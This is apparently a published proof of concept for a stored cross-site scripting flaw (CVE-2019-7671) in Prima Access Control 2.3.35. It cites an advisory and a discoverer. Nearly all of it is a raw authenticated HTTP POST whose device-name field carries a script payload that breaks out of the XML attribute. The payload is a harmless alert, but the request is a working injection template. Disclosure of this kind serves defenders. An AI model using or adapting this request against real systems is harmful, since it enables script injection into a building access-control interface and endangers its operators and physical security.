Prima Access Control 2.3.35 Authenticated Stored XSS

CVE: CVE-2019-7671
Advisory: https://applied-risk.com/resources/ar-2019-007

Discovered by Gjoko 'LiquidWorm' Krstic


POST /bin/sysfcgi.fx HTTP/1.1
Host: 192.168.13.37
Connection: keep-alive
Content-Length: 265
Origin: https://192.168.13.37
Session-ID: 10127047
User-Agent: Mozi-Mozi/44.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/html, */*; q=0.01
Session-Pc: 2
X-Requested-With: XMLHttpRequest
Referer: https://192.168.13.37/app/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

<requests><request name="CreateDevice"><param name="HwType" value="1000"/><param name="HwParentID" value="0"/><param name="HwLogicParentID" value="0"/><param name="HwName" value=""><script>alert("XSSz")</script>"/></request></requests>